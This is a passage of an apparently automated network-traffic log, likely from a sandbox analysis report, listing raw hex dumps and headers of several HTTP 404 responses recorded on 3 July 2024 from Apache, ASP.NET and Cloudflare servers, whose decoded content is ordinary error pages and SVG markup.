77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:22 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D1KfYUODC9rRl6oCVbOiEn1Atas4taJDBfsZofnl3UtmUkX%2BOwItBL%2BE76nNUUAhQbRYxewhwV%2BXKcUw%2BV6Ki85DEBAA1TnKZArLh4pmhQWZXkTcAO2WRvSWipnUgql6V4kb%2Btvi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 89d7f6751bd389ec-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 32 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c 63 85 fa 90 d3 38 66 7c e3 bb e0 8d f2 3d 78 ae f9 8c f2 fd e4 05 ba 9d c4 3b 9c f2 0f 9c 2b cc 26 6d 61 91 48 85 f4 7b 8b c5 c2 c4 4b 06 67 48 af 2a f5 2d 72 36 73 5d d7 ad e3 0e 5f a1 07 27 74 95 df 35 ef 91 e6 ba 2d ad 67 8e 0f e5 61 c7 62 9d f8 e3 eb cb 36 47 43 39 8a b9 ce f7 30 b8 84 da bc ea 99 a5 25 ae b6 51 82 1a 1e 9e ac 3e b4 3d 3c eb d8 99 b2 6e e7 d4 3e bb f1 8f aa c7 88 ee 35 73 72 78 55 c6 e0 72 92 0b c5 34 13 dc 97 98 52 cd 0a 34 68 a7 41 db c6 52 c6 51 1e ce cf c6 a4 7b 2b cc d6 22 f7 6f f2 7d 2b cc b4 e7 fd e8 b6 6d 06 88 54 a3 55 ad 8e a3 6e c6 c9 d8 98 15 c0 e2 a9 55 f7 d0 0a 83 c4 0b 9f 50 16 28 61 2e a5 90 01 49 bc 30 20 31 2b ce d1 4d cd 66 3a a1 72 46 29 55 aa f5 9f b4 58 61 70 9c 29 83 85 20 19 fc d7 a5 48 06 0d 7c 18 2e 13 04 89 4a 6c 65 84 50 8a 2d 50 89 90 0a f1 cc f8 06 d6 42 42 c6 36 89 86 84 16 08 2b 44 0e 12 33 51 60 dc 87 84 c6 c0 b4 02 4e 33 34 17 95 6f 8c 57 48 60 0a 34 66 b9 90 54 b2 b4 84 2d a7 05 65 29 5d a5 68 52 0f 2b 55 a4 ad bb 55 df da 63 Data Ascii: 2a3To0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3Lc8f\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:30 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p1jK54NQaEt9%2Bv7Nh1F4OqbZfDMN03EodjRGAd5%2BLfRUGpKR9Mvq8Inu5Vb6ltXgHIK5wOiiktP6CR7wXdQnSSl1gKXy2cLwt1PXmywpTc9wf9LanB37zR6aeOBFnpQIjgL6qUkq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 89d7f685c9e8114d-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 32 61 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c 63 85 fa 90 d3 38 66 7c e3 bb e0 8d f2 3d 78 ae f9 8c f2 fd e4 05 ba 9d c4 3b 9c f2 0f 9c 2b cc 26 6d 61 91 48 85 f4 7b 8b c5 c2 c4 4b 06 67 48 af 2a f5 2d 72 36 73 5d d7 ad e3 0e 5f a1 07 27 74 95 df 35 ef 91 e6 ba 2d ad 67 8e 0f e5 61 c7 62 9d f8 e3 eb cb 36 47 43 39 8a b9 ce f7 30 b8 84 da bc ea 99 a5 25 ae b6 51 82 1a 1e 9e ac 3e b4 3d 3c eb d8 99 b2 6e e7 d4 3e bb f1 8f aa c7 88 ee 35 73 72 78 55 c6 e0 72 92 0b c5 34 13 dc 97 98 52 cd 0a 34 68 a7 41 db c6 52 c6 51 1e ce cf c6 a4 7b 2b cc d6 22 f7 6f f2 7d 2b cc b4 e7 fd e8 b6 6d 06 88 54 a3 55 ad 8e a3 6e c6 c9 d8 98 15 c0 e2 a9 55 f7 d0 0a 83 c4 0b 9f 50 16 28 61 2e a5 90 01 49 bc 30 20 31 2b ce d1 4d cd 66 3a a1 72 46 29 55 aa f5 9f b4 58 61 70 9c 29 83 85 20 19 fc d7 a5 48 06 0d 7c 18 2e 13 04 89 4a 6c 65 84 50 8a 2d 50 89 90 0a f1 cc f8 06 d6 42 42 c6 36 89 86 84 16 08 2b 44 0e 12 33 51 60 dc 87 84 c6 c0 b4 02 4e 33 34 17 95 6f 8c 57 48 60 0a 34 66 b9 90 54 b2 b4 84 2d a7 05 65 29 5d a5 68 52 0f 2b 55 a4 ad bb 55 df da 63 f3 aa 7f 40 f8 0f Data Ascii: 2afTo0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:33 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=af3yOc4FsGEsXja9rF3cTz%2Bz0sDDk6LAUq7u1aqqzadAb1mg4Nh4IFGrVkbRovh13cJjFeul137wPcXslkVRRWKQA0a7tsQkusFJc%2B3wERR2tI%2BqQn89EScdZ0bZV47rPpKZUo3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 89d7f6967c1861bb-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 32 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8c 54 df 6f 9b 30 10 7e 8f 94 ff e1 4a d4 b7 80 21 69 ba 86 10 a4 2d 4d d4 49 ed 56 ad d9 af 47 07 2e c1 2a d8 cc 76 48 58 d4 ff 7d 32 10 92 56 7d 18 48 9c 7d fa be bb fb ce 67 82 8b db af b3 e5 ef c7 39 24 3a 4b e1 f1 fb a7 fb cf 33 b0 6c 42 7e 0e 67 84 dc 2e 6f e1 d7 dd f2 e1 1e 3c c7 85 27 2d 59 a4 09 99 7f b1 c0 4a b4 ce 7d 42 76 bb 9d b3 1b 3a 42 6e c8 f2 1b d9 9b 28 9e a1 35 4b 5b 55 1c 27 d6 b1 15 76 3b 41 95 65 9f a5 5c 4d df 89 e0 8d c7 e3 9a 58 83 91 c6 c6 66 a8 29 18 b4 8d 7f b6 ac 98 5a 33 c1 35 72 6d 2f cb 1c 2d 88 ea dd d4 d2 b8 d7 c4 b0 27 10 25 54 2a d4 53 a6 84 7d 73 33 1a db 9e 45 4c 28 cd 74 8a e1 95 7b 05 36 2c 58 8a 20 24 c4 4c 62 a4 85 2c 81 0b 0d 6b b1 e5 b1 13 90 1a d9 ed 04 4a 97 29 82 2e 73 6c 32 44 4a 55 e5 5d d8 76 b7 b3 12 71 79 c8 a8 dc 30 ee bb 93 b5 e0 da 56 ec 2f fa ce 07 cc ea ed 9a 66 2c 2d fd 1f 28 63 ca 69 1f 3e 4a 46 d3 3e dc 61 5a a0 66 11 ed 83 a2 5c d9 0a 25 5b 4f 56 34 7a de 48 53 82 df 9b 57 cf e4 a5 db 59 33 4c 63 85 fa 90 d3 38 66 7c e3 bb e0 8d f2 3d 78 ae f9 8c f2 fd e4 05 ba 9d c4 3b 9c f2 0f 9c 2b cc 26 6d 61 91 48 85 f4 7b 8b c5 c2 c4 4b 06 67 48 af 2a f5 2d 72 36 73 5d d7 ad e3 0e 5f a1 07 27 74 95 df 35 ef 91 e6 ba 2d ad 67 8e 0f e5 61 c7 62 9d f8 e3 eb cb 36 47 43 39 8a b9 ce f7 30 b8 84 da bc ea 99 a5 25 ae b6 51 82 1a 1e 9e ac 3e b4 3d 3c eb d8 99 b2 6e e7 d4 3e bb f1 8f aa c7 88 ee 35 73 72 78 55 c6 e0 72 92 0b c5 34 13 dc 97 98 52 cd 0a 34 68 a7 41 db c6 52 c6 51 1e ce cf c6 a4 7b 2b cc d6 22 f7 6f f2 7d 2b cc b4 e7 fd e8 b6 6d 06 88 54 a3 55 ad 8e a3 6e c6 c9 d8 98 15 c0 e2 a9 55 f7 d0 0a 83 c4 0b 9f 50 16 28 61 2e a5 90 01 49 bc 30 20 31 2b ce d1 4d cd 66 3a a1 72 46 29 55 aa f5 9f b4 58 61 70 9c 29 83 85 20 19 fc d7 a5 48 06 0d 7c 18 2e 13 04 89 4a 6c 65 84 50 8a 2d 50 89 90 0a f1 cc f8 06 d6 42 42 c6 36 89 86 84 16 08 2b 44 0e 12 33 51 60 dc 87 84 c6 c0 b4 02 4e 33 34 17 95 6f 8c 57 48 60 0a 34 66 b9 90 54 b2 b4 84 2d a7 05 65 29 5d a5 68 52 0f 2b 55 a4 ad bb 55 df da 63 f3 aa 7f 40 Data Ascii: 2a3To0~J!i-MIVG.vHX}2V}H}g9$:K3lB~g.o<'-YJ}Bv:Bn(5K[U'v;Ae\MXf)Z35rm/-'%TS}s3EL(t{6,X $Lb,kJ).sl2DJU]vqy0V/f,-(ci>JF>aZf\%[OV4zHSWY3Lc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:38:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqKTcn9iGMHyHMMA3WPH6z2vazS6V8iwTQZTLDlA6l05ZPCJUi%2BR3ZtfgHtDA4YrtNBqlJzzRC7EMqINVOhUSLacE49X8B3XPnbj4BfHYW2%2BcKsXBue3dVqFDhyXtZX%2FEha9yDR5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 89d7f6a73d6be17c-ORDalt-svc: h3=":443"; ma=86400Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Wed, 03 Jul 2024 15:41:21 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:41:41 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 